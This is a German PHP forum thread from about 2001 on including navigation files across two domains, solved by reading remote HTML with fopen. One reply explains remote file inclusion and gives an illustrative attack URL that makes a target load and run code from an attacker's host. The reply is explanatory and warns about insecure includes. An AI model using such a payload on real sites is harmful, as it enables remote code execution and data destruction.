Problem mit include

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Problem mit include

    Habe da ein Problem mit include: Bei meiner Seite ist die Navigation in einem gesonderten php Script gespeichert, bei dem durch include eine config.php mit Variablen etc. reingeladen wird. Die Navigations-php wird dann in die eigentliche Seite geladen. Das funktioniert auch wunderbar. Jetzt ist aber ein Teil der seite unter einer anderen Domain, was ja mit include so nicht mehr funktioniert. Die Daten in der Navigation-php werden ordnungsgemäss verarbeitet, jedoch wird die dort eingebundene config.php nicht mehr ausgeführt. Ich habe die config.php so eingebunden:
    <?
    $str = implode("", @file("http://www.domain.de/nav/navigation.php"));
    echo $str;
    ?>
    Nun, das problem ist wohl, dass die Datei in einen String geladen wird. Wie muss ich den Code anpassen, damit die per include() eingebundene conig.php in der navigation.php auch funktioniert. config.php und navigation.php liegen auf Doamin A, die eigentliche Seite unter Domain B.

    Für hilfen oder Lösungsvorschläge wäre ich sehr dankbar!

    Gruss

    Adrian

    PS: Klar wäre es möglich, die beiden dateien auch auf Domain B zu laden, aber das ist mir zu mühsam, immer zwei Dateien bei einer Änderung anzupassen.

  • #2
    Ist zwar nicht direkt eine Antwort auf Deine Frage, aber gerade diese Funktionalität war Bestandteil einer im November 2001 entdeckten und dokumentierten Sicherheitslücke in Zusammenhang mit PHP, wenn nicht sauber programmiert wurde - der Link beschreibt etwas mehr darüber.

    Im November 2001 wurde eine PHP Vulnerabilty entdeckt:
    (http://security-archive.merton.ox.ac.uk/bugtraq-200110/0012.html)

    Worum gehts da?

    Da wird eine
    include("$incdir/library.php");
    Anweisung mißbraucht.

    Wird nicht bewußt die $incdir im Programm vor dem include gesetzt, ein
    if (!isset($incdir) {
    $incdir = "blabla";
    }
    wäre das schon fatal, folgendes kann passieren:

    Über die URL kann incdir mitgegeben werden fabio cracker (hoffentlich gibt es keinen fabio der cracker heißt *g*) aus Italien gibt im Browser
    Code:
    http://www.ziel.com/index.php?incdir=http://www.crack.it/code
    ... <-- nur bildlich

    ein, nachdem er auf der crack.it eine entsprechende library.php angelegt hat. Clever der Bursche.

    Die index.php lädt jetzt das Skript von
    Code:
    http://www.crack.it
    und führt es aus.
    zum Beispiel 'ls -la' oder 'mail-allaround-the-world' oder 'lese-alle-files-und-lösch-sie-dann-ganz-sauber'.

    [Editiert von hand am 26-12-2001 um 21:45]

    Kommentar


    • #3
      Eben so etwas ist ja auch der Grund, warum register_globals in PHP 4.1.0 als deprecated verzeichnet ist, und statt dessen zum Einsatz der Variablen $_GET $_POST etc. geraten wird.

      CAT Music Files

      Kommentar


      • #4
        include ohne http:...

        Hallo,
        ich benutze den include befehl ohne die http Adresse, z.B.
        include("include_leistungen/auswahl.php")
        Es wird die Datei auswahl.php im Unterordner include_leistungen eingebunden.

        Hilft dir das weiter?

        Dann ist es egal ob vorher http://www.test.de/... oder http://www.test333.de/... steht

        Kommentar


        • #5
          @Sky: so ist es. $_GET bzw. $_POST nehmen zwar einiges ab, aber nicht alles - man muß trotzdem sauber kodieren. Aus solchen dokumentrierten Schwachstellen kann man einiges lernen auch gibt's so manche Aha-Erlebnisse, weil's so logisch und simpel ist.

          Kommentar


          • #6
            Danke für die Antworten. Leider helfen mir diese absolut nicht weiter:

            @rw72: Prinzipiell ok, aber ich habe keine gepointeten Domainen, sondern zwei unabhängige Webseiten auf zwei verschiedenen Servern mit verschiedenen Doaminen und IP's! Dann geht das nicht!

            Das Prob habe ich jetzt vielleicht etwas entschärft: Es sind nun nur noch Dateien mit HTML Code. Wie kann ich die am elegantesten einlesen? htmlcode.txt ist auf Server A und soll mit der lieshtmlcode.php auf Server B "eingelesen" werden. Die lieshtmlcode.php ist mit include in seite.php auf Server B, also gleicher server wie lieshtmlcode.php, eingebunden. Es gibt sicher bessere Varianten als diese, die ich im ersten Posting hatte.

            Danke für Hilfen

            Adrian

            Kommentar


            • #7
              $f = fopen('http://servera.dom/htmlcode.txt','br');
              echo fread($f,65535);
              fclose($f);

              CAT Music Files

              Kommentar


              • #8
                Danke Sky! Funktioniert jetzt wunderbar!

                Kommentar

                Lädt...
                X